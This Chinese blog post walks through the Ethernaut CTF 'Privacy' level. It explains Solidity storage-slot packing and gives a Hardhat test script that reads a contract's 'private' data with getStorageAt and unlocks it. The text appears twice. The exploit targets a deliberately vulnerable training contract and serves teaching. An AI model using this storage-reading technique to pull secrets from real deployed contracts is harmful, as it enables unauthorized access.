用Hardhat闯关Ethernaut题12 -privacy
开坑使用Hardhat闯关Ethernaut CTF题,提高合约和测试脚本的能力,后续也会增加Paradigm CTF的闯关题目。
```
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
```
这道题和[第8题-vault](https://juejin.cn/post/7143860837977964558)相似,考察的是如何获取合约中的变量,以及[状态变量在储存中的布局](https://learnblockchain.cn/docs/solidity/internals/layout_in_storage.html)概念。
关于储存布局,这里有更详细的解读:https://learnblockchain.cn/books/geth/part7/storage.html
简单说就是合约的储存是32个字节一个插槽,如果前面和后面的数据不足32字节,则可以合并为一个。比如此合约中的三个连续`uint`变量,字节大小为`1+1+16<32`(`uint256`是32字节,`uint8`则是1字节),所以合并为一个插槽。`data`是一个`bytes32`的数组,数组中的元素都是32字节,则分别占一个插槽,所以`data[2]`其实是第5个插槽,可以通过`getStorageAt(address,5)`来获取。
那么测试脚本可以这么写:
```
const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");
describe("test", function () {
var Privacy;
it("init params", async function () {
[deployer, ...users] = await ethers.getSigners();
});
it("deploy", async function () {
const PrivacyInstance = await ethers.getContractFactory("Privacy");
Privacy = await PrivacyInstance.deploy([
ethers.utils.formatBytes32String("ETH1"),
ethers.utils.formatBytes32String("ETH2"),
ethers.utils.formatBytes32String("ETH3"),
]);
// Privacy = await PrivacyInstance.deploy([
// ethers.utils.formatBytes32String("ETH1").slice(0, 34),
// ethers.utils.formatBytes32String("ETH2").slice(0, 34),
// ethers.utils.formatBytes32String("ETH3").slice(0, 34),
// ]);
});
it("hack test", async function () {
const r = await ethers.provider.getStorageAt(Privacy.address, 5);
expect(ethers.utils.parseBytes32String(r)).to.equal("ETH3");
const key = r.slice(0, 34);
await Privacy.unlock(key);
expect(await Privacy.locked()).to.equal(false);
});
});
```
测试结果:
![image.png](https://p1-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/76133b4ed3c14f4382de52a39c281a54~tplv-k3u1fbpfcp-watermark.image?)
备注:为了体验一下插槽与储存布局的概念,可以将`data`设置为`bytes16`,然后将测试脚本的注释部分运行一遍看看效果。也可以将`uint8`变量分别设置为`uint128`或者`uint256`试试看。
Github:[hardhat测试仓库](https://github.com/Verin1005/Hardhat-Ethernaut)
Privacy合约
任务:其实就是获取data[2]
的值,然后调用unlock
传入将locked
设置为false
。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
这道题和第8题-vault相似,考察的是如何获取合约中的变量,以及状态变量在储存中的布局概念。 关于储存布局,这里有更详细的解读:https://learnblockchain.cn/books/geth/part7/storage.html 简单说就是合约的储存是32个字节一个插槽,如果前面和后面的数据不足32字节,则可以合并为一个。比如此合约中的三个连续uint
变量,字节大小为1+1+16<32
(uint256
是32字节,uint8
则是1字节),所以合并为一个插槽。data
是一个bytes32
的数组,数组中的元素都是32字节,则分别占一个插槽,所以data[2]
其实是第5个插槽,可以通过getStorageAt(address,5)
来获取。
那么测试脚本可以这么写:
const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");
describe("test", function () {
var Privacy;
it("init params", async function () {
[deployer, ...users] = await ethers.getSigners();
});
it("deploy", async function () {
const PrivacyInstance = await ethers.getContractFactory("Privacy");
Privacy = await PrivacyInstance.deploy([
ethers.utils.formatBytes32String("ETH1"),
ethers.utils.formatBytes32String("ETH2"),
ethers.utils.formatBytes32String("ETH3"),
]);
// Privacy = await PrivacyInstance.deploy([
// ethers.utils.formatBytes32String("ETH1").slice(0, 34),
// ethers.utils.formatBytes32String("ETH2").slice(0, 34),
// ethers.utils.formatBytes32String("ETH3").slice(0, 34),
// ]);
});
it("hack test", async function () {
const r = await ethers.provider.getStorageAt(Privacy.address, 5);
expect(ethers.utils.parseBytes32String(r)).to.equal("ETH3");
const key = r.slice(0, 34);
await Privacy.unlock(key);
expect(await Privacy.locked()).to.equal(false);
});
});
测试结果:
备注:为了体验一下插槽与储存布局的概念,可以将data
设置为bytes16
,然后将测试脚本的注释部分运行一遍看看效果。也可以将uint8
变量分别设置为uint128
或者uint256
试试看。
Github:hardhat测试仓库
本文参与区块链技术网 ,好文好收益,欢迎正在阅读的你也加入。
- 发表于 2022-09-28 16:55
- 阅读 ( 222 )
- 学分 ( 9 )
- 分类:智能合约
评论